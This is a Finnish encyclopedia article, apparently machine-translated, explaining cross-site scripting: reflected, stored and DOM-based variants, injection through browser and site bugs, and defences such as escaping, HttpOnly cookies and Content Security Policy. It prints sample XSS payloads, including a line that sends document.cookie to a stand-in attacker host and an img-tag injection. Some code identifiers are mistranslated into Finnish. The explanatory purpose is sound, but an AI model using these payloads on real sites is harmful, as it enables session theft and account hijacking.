Sivuston välinen komentosarja

Kokeneet kirjoittajat eivät ole vielä tarkistaneet sivun nykyistä versiota, ja se voi poiketa merkittävästi 3. joulukuuta 2021 tarkistetusta versiosta . tarkastukset vaativat 6 muokkausta .

XSS ( englanniksi  Cross-Site Scripting  - "cross -site scripting ") - eräänlainen hyökkäys verkkojärjestelmiä vastaan , joka koostuu haitallisen koodin lisäämisestä verkkojärjestelmän julkaisemalle sivulle (joka suoritetaan käyttäjän tietokoneella , kun hän avautuu tämä sivu) ja tämän koodin vuorovaikutus hyökkääjän verkkopalvelimen kanssa. Se on muunnelma Code Injection -hyökkäyksestä .

Tällaisten hyökkäysten erityispiirre on, että haitallinen koodi voi käyttää käyttäjän valtuutusta verkkojärjestelmässä saadakseen laajennettua pääsyä siihen tai hankkiakseen käyttäjän valtuutustietoja. Haitallista koodia voidaan lisätä sivulle joko verkkopalvelimen haavoittuvuuden kautta tai käyttäjän tietokoneessa olevan haavoittuvuuden kautta [1] .

Termi on lyhennetty nimellä "XSS", jotta vältetään sekaannukset CSS -lyhennettä käyttävien peräkkäisten tyylisivujen kanssa.

XSS on kolmannella sijalla verkkosovellusten avainriskeissä OWASP 2021 :n [2] mukaan . Ohjelmoijat eivät pitkään aikaan kiinnittäneet niihin riittävästi huomiota, koska he pitivät niitä vaarattomina. Tämä mielipide on kuitenkin virheellinen: sivulla tai HTTP-evästeessä voi olla erittäin arkaluontoista tietoa (esimerkiksi järjestelmänvalvojan istunnon tunniste tai maksutositteiden numerot), ja jos CSRF - suojaa ei ole , hyökkääjä voi suorittaa mitä tahansa toimintoja. käyttäjän käytettävissä. Sivustonvälistä komentosarjaa voidaan käyttää DoS-hyökkäyksen suorittamiseen [3] .

Viitetiedot

Internetin turvallisuutta valvotaan monilla mekanismeilla, mukaan lukien tärkeä käsite, joka tunnetaan nimellä verkkotunnuksen rajoitussääntö . Tämä sääntö sallii saman sivuston sivuilla (https://mybank.example.com) olevien komentosarjojen pääsyn toistensa menetelmiin ja ominaisuuksiin ilman rajoituksia, mutta estää pääsyn useimpiin menetelmiin ja ominaisuuksiin toisen sivuston sivuille (https:// othersite .example.com)  (linkki ei saatavilla) [4] .

Cross-site scripting hyödyntää tunnettuja haavoittuvuuksia verkkosovelluksissa, palvelimissa (tai niihin liittyvissä järjestelmälaajennuksissa). Yhtä niistä käyttämällä hyökkääjä upottaa haitallista sisältöä jo hakkeroidun sivuston sisältöön. Tämän seurauksena käyttäjä saa yhdistettyä sisältöä verkkoselaimeen , joka on toimitettu luotettavasta lähteestä ja toimii siten tälle järjestelmälle myönnettyjen lupien mukaisesti. Onnistuttuaan syöttämään tarvittavan skriptin verkkosivulle, hyökkääjä voi saada korkeammat oikeudet työskennellä verkkosivujen, evästeiden ja muiden selaimeen tallennettujen tietojen kanssa tietylle käyttäjälle.

Ilmaisu "cross-site scripting" tarkoitti alun perin haavoittuvan verkkosovelluksen vuorovaikutusta hyökkääjän sivuston kanssa siten, että hyökkääjän valmistama JavaScript -koodi suoritettiin hyökkäyksen kohteena olevan verkkotunnuksen yhteydessä (heijastettu tai tallennettu XSS-haavoittuvuus). Vähitellen määritelmä alkoi sisältää muita tapoja upottaa koodia, mukaan lukien vahvojen ja ei-JavaScript-kielten käyttö (kuten ActiveX , Java , VBScript , Flash ja jopa HTML ), mikä aiheutti hämmennystä tietoturvan uusien tulokkaiden keskuudessa . [5]

XSS-hyökkäykset React JS -kirjastoa vastaan ​​estetään suurelta osin, koska kaikki muunnetaan merkkijonoiksi ennen renderöintiä. Tämä varmistaa, että kukaan ei koskaan lisää mitään, mitä JS-kehittäjä ei ole erikseen kirjoittanut verkkosovellukseen.

XSS-haavoittuvuuksista on raportoitu ja niitä on käytetty hyväksi 1990-luvun puolivälistä lähtien [ 6] . Merkittäviä sivustoja, joihin aiemmin vaikuttaa, ovat sosiaaliset verkostot , kuten Twitter [7] , VKontakte [8] , MySpace [9] , YouTube [10] , Facebook [11] ja muut.

Luokitus

Sivustojen välisellä komentosarjalla ei ole selkeää luokitusta. Mutta useimmat asiantuntijat erottavat ainakin kaksi XSS-tyyppiä: "heijastettu" ("heijastettu XSS" tai "tyyppi 1") ja "tallennettu" ("tallennettu XSS" tai "tyyppi 2") .

Vektorin mukaan

Heijastunut (ei-pysyvä)

Heijastunut haavoittuvuushyökkäys on ylivoimaisesti yleisin XSS-hyökkäys [13] . Nämä haavoittuvuudet ilmenevät, kun web-asiakkaan toimittamat tiedot, yleisimmin HTTP-pyyntöparametreina tai HTML-muodossa , suoritetaan suoraan palvelinpuolen komentosarjoilla, jotka jäsentävät ja näyttävät kyseisen asiakkaan tulossivun ilman asianmukaista käsittelyä [14] . Heijastunut XSS-hyökkäys käynnistyy, kun käyttäjä napsauttaa erityisesti muodostettua linkkiä.

Esimerkki:

http://example.com/search.php?q= < script > DoSomething ();</ script >

Jos sivusto ei välty kulmasulkeista muuntamalla ne muotoiksi " &lt;" ja " &gt;", saamme skriptin hakutulossivulle.

Heijastuneet hyökkäykset lähetetään yleensä sähköpostitse tai julkaistaan ​​verkkosivulla. Syötin URL -osoite ei ole epäilyttävä, vaan se osoittaa luotettuun sivustoon, mutta sisältää XSS-vektorin. Jos luotettu sivusto on haavoittuvainen XSS-vektorille, linkin seuraaminen voi saada uhrin selaimen suorittamaan upotetun komentosarjan.

Tallennettu (pysyvä)

Tallennettu XSS on tuhoisin hyökkäystyyppi. Tallennettu XSS on mahdollista, kun hyökkääjä onnistuu syöttämään haitallista koodia palvelimeen, joka suoritetaan selaimessa aina, kun alkuperäiselle sivulle käännytään. Klassinen esimerkki tästä haavoittuvuudesta ovat foorumit, joissa on sallittua jättää kommentteja HTML-muodossa ilman rajoituksia, sekä muut Web 2.0 -sivustot (blogit, wikit, kuvataulut ), kun käyttäjien tekstejä ja kuvia on tallennettu palvelimelle. Näihin teksteihin ja kuviin lisätään skriptejä.

Koodinpätkä istuntotunnuksella varustetun avaimen varastamista varten:

< script > asiakirja . location = "http://attackerhost.example/cgi-bin/cookiesteal.cgi?" + asiakirja . eväste </ script > DOM-mallit

XSS DOM:ssa tapahtuu asiakaspuolella JavaScript-komentosarjan sisällä tapahtuvan tietojenkäsittelyn aikana. Tämän tyyppinen XSS on saanut nimensä, koska se on toteutettu DOM:n (Document Object Model) kautta  - alustasta ja kielestä riippumattoman ohjelmointirajapinnan kautta, jonka avulla ohjelmat ja komentosarjat voivat päästä käsiksi HTML- ja XML-dokumenttien sisältöön sekä muuttaa sisältöä, tällaisten asiakirjojen rakenne ja suunnittelu. Väärällä suodatuksella on mahdollista muokata hyökkäyksen kohteena olevan sivuston DOM:ia ja saavuttaa JavaScript-koodin suorittaminen hyökkäyksen kohteena olevan sivuston yhteydessä.

Esimerkki:

< body > < script > - asiakirja . kirjoittaa ( sijainti . href );</ script > </ body >

XSS DOM -esimerkki on bugi , joka löydettiin vuonna 2011 useista jQuery - laajennuksista [15] . XSS DOM -estotekniikat sisältävät toimenpiteitä, jotka ovat tyypillisiä perinteiselle XSS:lle, mutta toteutetaan javascriptillä ja lähetetään web-sivuille - syötteen validointi ja hyökkäysten esto [16] . Joissakin JavaScript- kehyksissä on sisäänrakennettu suojaus näitä ja muita hyökkäyksiä vastaan, kuten AngularJS [17] .

Komentosarjan toteutuskanavien mukaan

Selainvirheet Kun sivusto on korjattu selainvirheen vuoksi

Bugzilla , 2004 [19] Joissakin selaimissa (ainakin Internet Explorer ) URL-osoitetta määritettäessä

http://bugzilla.mozilla.org/enter_bug.cgi ? <script>alert('foo');</script>

URL-koodausta ja koodia ei ole

asiakirja . write ( "<p>URL: " + asiakirja . sijainti + "</p>" );

lisää skripti sivulle.

Virheiden vuoksi selain voi suorittaa komentosarjoja SVG -muodossa , mikä rikkoo Same Domain Policy -sääntöä . Nämä ovat vakavia virheitä; kun ne on löydetty, ne suljetaan nopeasti, mutta siirtymäkauden aikana lähes kaikista Web 2.0 -sivustoista tulee vaarallisia : foorumit, wikit, kuvataulut. Jos tällainen virhe löytyy, on suositeltavaa käyttää toista selainta, kunnes päivitys julkaistaan.

On myös hienovaraisempia virheitä, jotka ilmenevät hyvin erityisissä olosuhteissa eivätkä aiheuta suurta vahinkoa. Tällaisia ​​virheitä ei ehkä korjata vuosiin ja on kannattavampaa korjata sivusto kuin odottaa selaimen päivitystä.

Ei HTML-erikoismerkkien pakottamista Kaikessa mukautetussa tekstissä on oltava koodinvaihtomerkki

phpBB , 2002 [20] [21] . Vaikka kuvan URL-osoite tarkistetaan protokollan suhteen (vain sallittu http:), itse URL-osoitetta ei ole millään tavalla erotettu, ja rivi, kuten

[img] http://aa/a "onror=" javascript:alert(document.cookie)[/img]

voit vetää mukautetun skriptin dokumenttiin.

Verkkosivustovirheet ovat paljon yleisempiä. Jotta selain ei erehdy sekoittamaan merkkijonoa HTML-tunnisteeksi, sinun on syötettävä viisi merkkiä : '"&<>. Palvelin ei välttämättä vältä kaikkia merkkejä (tuttu PHP -virhe [22] ), tai web-ohjelmoija yksinkertaisesti unohtaa välttää merkkijonon.

Normaalisti teksti tallennetaan tietokantoihin ilman koodinvaihtomerkkejä , ja kaikki mukautetut merkkijonot on vaihdettava joka kerta, kun ne upotetaan HTML-koodiin: jos esimerkiksi kuvan URL -osoitetta ei ole merkitty koodinvaihtomerkillä , käyttäjä voi kirjoittaa esimerkiksi http://example.com/img.png" onmouseover="javascript:DoSomething();.

Monet sivustot sallivat tekstin muotoilun käyttämällä jonkinlaista merkintäkieltä ( HTML , BBCode , wiki-merkintä ). Usein merkintäkielen täydellistä leksikaalista analyysiä ei suoriteta, vaan se muunnetaan "turvalliseksi" HTML:ksi säännöllisten lausekkeiden avulla [23] . Tämä yksinkertaistaa ohjelmointia, mutta vaatii perusteellisen ymmärryksen siitä, kuinka komentosarja voi tunkeutua tuloksena olevaan HTML-koodiin.

Ei määritteiden ja niiden arvojen suodatusta sallituissa tunnisteissa

Tyypillinen esimerkki olisi linkki <a href="javascript:DoSomething()">. Vaikka foorumi sallisi ulkoiset linkit, sinun ei pidä antaa protokollia javascript:ja data:.

Muut hyökkäykset eivät ole XSS:ää, mutta muut hyökkäykset eivät ole vähemmän haitallisia: hakkeri voi määrittää osoitteeksi palvelimen, jolla on kapea Internet-kanava, halvaantaen sen työn suurella määrällä pyyntöjä, tai käyttää sitä XSRF - hyökkäyksen järjestämiseen.

Koodauksen muuttaminen sivun otsikossa

Nykyaikaiset selaimet yrittävät määrittää sivun koodauksen lennossa ja tulkita html:ää sen koodauksen mukaan. Jos tunniste <title>sijaitsee ennen tunnistetta ja on täynnä käyttäjätietoja, hakkeri voi lisätä haitallisen UTF-7-<meta> koodatun html-koodin ohittaen siten merkkien, kuten , suodatuksen . Suojautuaksesi tätä haavoittuvuutta vastaan, sinun on määritettävä sivun koodaus erikseen ennen mukautettuja kenttiä. HTML 5 kieltää selaimen tuen UTF-7-koodaukselle mahdollisesti vaarallisena. [24]<"

SQL-injektion kautta

Jos sivusto sekä sallii SQL-koodin syöttämisen että näyttää tietokannan sisällön ilman pakenemista (joko tietämättömyydestä tai valmis HTML-koodi on tallennettu tietokantaan, [25] tai kirjoittaja tietää varmasti, että eivät ole "huonoja" merkkejä tietokannassa), voit suorittaa epätavallisen hyökkäyksen.

Lisäämällä SQL-koodin kirjoitamme "myrkytys"-sivun tietokantaan. Jos joku pääsee käsiksi tälle tietokantariville, hänen selaimeensa tulee haitallinen komentosarja. Hyökkäyksiä tapahtuu ilman HTML:n tallentamista tietokantaan - DBMS palauttaa tietokantaan tallennetun kentän sijaan komentosarjan, joka on kirjoitettu pyyntötekstiin.

Vaikuttamisen kautta

Aktiivinen

Aktiivinen XSS-hyökkäys ei vaadi käyttäjältä mitään verkkosovelluksen toiminnallisuuden kannalta.

Esimerkki:

<input type=text value=a onfocus=alert(1337) AUTOFOCUS>

Tämä esimerkki näyttää syöttökentän, jossa on fokusointitapahtuman käsittelijä, joka suorittaa varsinaisen hyökkäyskoodin, ja automaattisen tarkennuksen asetusominaisuus on aktivoitu tälle syöttökentälle. Tämä asettaa tarkennuksen automaattisesti, joka kutsuu hyökkäyskoodin sisältävän tarkennussarjan käsittelijän. Hyökkäys on aktiivinen ja suoritetaan automaattisesti ilman, että käyttäjä tarvitsee mitään.

Passiivinen (autonominen)

Passiivinen XSS-hyökkäys laukeaa, kun käyttäjä suorittaa tietyn toiminnon (napsauta tai vie hiiren osoitinta jne.).

Esimerkki:

<a href='a' onmouseover=alert(1337) style='font-size:500px'>

Esimerkki näyttää hyperlinkin, joka vangitsee käyttäjän huomion erityisellä tavalla ja/tai vie huomattavan määrän tilaa, mikä lisää todennäköisyyttä, että hiiren osoitin liikkuu, tässä tapauksessa isolla kirjaimilla. Hyperlinkissä on hiiren osoitin tapahtumakäsittelijä, joka sisältää hyökkäyskoodin. Hyökkäys on passiivinen, koska se ei tee mitään ja hyökkäyskoodia ei suoriteta odottaessaan, että käyttäjä vie hiiri linkin päälle.

Suojakeinot

Palvelinpuolen suojaus

  • Koodataan HTML-ohjausmerkit, JavaScript, CSS ja URL -osoitteet ennen kuin ne näytetään selaimessa. Voit käyttää syöteparametrien suodattamiseen seuraavia toimintoja: filter_sanitize_encoded(URL-koodaukseen) [27] , htmlentities(HTML-suodatukseen) [28] .
  • Syöttötietojen koodaus. Esimerkiksi käyttämällä kirjastoja OWASP Encoding Project [29] , HTML Purifier, htmLawed, Anti-XSS Class.
  • Säännöllinen manuaalinen ja automaattinen koodin suojausanalyysi ja läpäisytestaus. Käyttämällä työkaluja, kuten Nessus , Nikto Web Scanner ja OWASP Zed Attack Proxy .
  • Koodauksen määrittäminen jokaiselle verkkosivulle (esimerkiksi ISO-8859-1 tai UTF-8 ) ennen mukautettuja kenttiä [30] .
  • Evästeiden turvallisuuden varmistaminen , joka voidaan toteuttaa rajoittamalla hyväksyttyjen evästeiden verkkotunnusta ja polkua, asettamalla HttpOnly-parametri [31] , käyttämällä SSL :ää [32] .
  • Käyttämällä Content Security Policy -otsikkoa , jonka avulla voit asettaa listan, johon syötetään halutut lähteet, joista voidaan ladata erilaisia ​​tietoja, esimerkiksi JS, CSS, kuvat jne.

Asiakaspuolen tietoturva

  • Päivitä selain säännöllisesti uuteen versioon [18] .
  • Asenna selainlaajennukset, jotka tarkastavat lomakekentät, URL-osoitteet, JavaScript- ja POST -pyynnöt. Jos skriptejä tulee vastaan, käytä XSS-suodattimia estääksesi niiden suorittamisen. Esimerkkejä tällaisista laajennuksista ovat NoScript for FireFox , NotScripts for Chrome ja Opera .

Katso myös

Muistiinpanot

  1. 1 2 Jatana1, Nishtha, Agrawal, Adwiteeya, Sobti, Kritika. Post XSS Exploitation: Edistyneet hyökkäykset ja  korjaustoimenpiteet . — s. 9.  (linkki ei ole käytettävissä)
  2. OWASP Top 10  . OWASP . Open Web Application Security Project (OWASP). Haettu 30. tammikuuta 2022. Arkistoitu alkuperäisestä 17. tammikuuta 2020.
  3. Seth Fogie, Jeremiah Grossman, 2007 , s. 290, 379.
  4. Sama alkuperäpolitiikka  . W3C. Haettu 18. joulukuuta 2014. Arkistoitu alkuperäisestä 27. tammikuuta 2017.
  5. Grossman, Jeremia. Cross-Site Scriptingin (XSS) alkuperä . Haettu 15. joulukuuta 2014. Arkistoitu alkuperäisestä 21. helmikuuta 2017.  (Englanti)
  6. Seth Fogie, Jeremiah Grossman, 2007 , s. 3.
  7. Mirkov, Denis. Twitter on saanut viruksen tartunnan . Hakkeri (21. syyskuuta 2010). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 18. joulukuuta 2014.
  8. Mirkov, Denis. XSS-haavoittuvuudet VKontakte . Hakkeri (10. maaliskuuta 2011). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 18. joulukuuta 2014.
  9. Mirkov, Denis. Sivusto Sla.ckers.org on avannut valikoiman XSS - haavoittuvuuksia . Hakkeri (25. syyskuuta 2006). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 18. joulukuuta 2014.
  10. Mirkov, Denis. Useita haavoittuvuuksia YouTube-blogissa . Hakkeri (23. heinäkuuta 2008). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 18. joulukuuta 2014.
  11. Mirkov, Denis. Facebookista on löydetty XSS-haavoittuvuus . Hakkeri (26. toukokuuta 2008). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 18. joulukuuta 2014.
  12. Tyurin, Aleksei. Porsaanreikiä etsimässä: opas DOM-pohjaiseen XSS :ään  // Hacker: Journal. - 2013. - Nro 172 . - S. 80-85 .
  13. Paco Hope, Ben Walther, 2008 , s. 128.
  14. Sivustojen välinen komentosarja  . Web Application Security Consortium (2005). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 1. kesäkuuta 2010.
  15. jQuery-virhe #  9521 . jQuery. Haettu 18. joulukuuta 2014. Arkistoitu alkuperäisestä 30. tammikuuta 2017.
  16. ↑ DOM-pohjainen XSS - estohuijauslehti  . Open Web Application Security Project (OWASP). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 28. tammikuuta 2017.
  17. Tiukka kontekstuaalinen  pakeneminen . AngularJS. Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 10. helmikuuta 2014.
  18. 1 2 Cross-site Scripting (XSS  ) . Open Web Application Security Project (OWASP). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 22. joulukuuta 2014.
  19. Bug 272620 - XSS - haavoittuvuus sisäisissä  virheilmoituksissa . Bugzilla@Mozilla. Haettu 18. joulukuuta 2014. Arkistoitu alkuperäisestä 30. lokakuuta 2014.
  20. US-CERT/NIST. CVE :n haavoittuvuuden yhteenveto  - 2002-0902  – 2008.
  21. Boerwinkel, Martijn. Cross Site Scripting -haavoittuvuus phpBB2:n IMG-tunnisteessa ja  etäavatarissa . seclists.org (26. toukokuuta 2002). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 18. joulukuuta 2014.
  22. PHP - standarditoiminto ei oletusarvoisesti vältä heittomerkkiä, ja yhdistettynä koodiin , tämä johtaa haavoittuvuuteen. htmlspecialchars"<a href='$htUrl'>"
  23. Yksinkertainen BB-koodin jäsentäminen php:ssä . Verkkokehitys. Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 18. joulukuuta 2014.
  24. HTML - HTML Standardin  elementit . Web Hypertext Application Technology Working Group (WHATWG). Haettu 18. joulukuuta 2014. Arkistoitu alkuperäisestä 21. joulukuuta 2019.
  25. ↑ Esimerkiksi MediaWiki - moottori tallentaa välimuistiin sivujen HTML-koodit.
  26. Kochetkov, Vladimir. Koko totuus XSS:stä tai miksi sivustojen välinen komentosarja ei ole haavoittuvuus? . SecurityLab (8. elokuuta 2012). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 19. joulukuuta 2014.
  27. Puhdistavat suodattimet . PHP. Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 19. joulukuuta 2014.
  28. ↑ PHP : htmlentiteetit  . PHP. Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 19. joulukuuta 2014.
  29. OWASP Java Encoder Project . Open Web Application Security Project (OWASP). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 2. marraskuuta 2014.
  30. Lumi, John. Hahmojen naamiointi: unicode-suuntautuneita turvallisuusnäkökohtia  // Hakkeri: verkkosivusto. – 2010.
  31. Vain Http  . _ Open Web Application Security Project (OWASP). Käyttöpäivä: 18. joulukuuta 2014. Arkistoitu alkuperäisestä 26. joulukuuta 2008.
  32. Hafner, Robert. Täysin suojattujen evästeiden luominen  (englanniksi)  : verkkosivusto. – 2009.

Kirjallisuus

  • Seth Fogie , Jeremiah Grossman , Robert Hansen , Anton Rager , Petko D. Petkov. XSS Attacks: Exploitation and Defense = XSS Attacks: Cross Site Scripting Exploits and Defense. - Syngress, 2007. - 464 s. — ISBN 1597491543 .
  • Paco Hope , Ben Walther. Web Security Testing Cookbook. - O'Reilly Media, 2008. - 314 s. - ISBN 978-0-596-51483-9 .

Linkit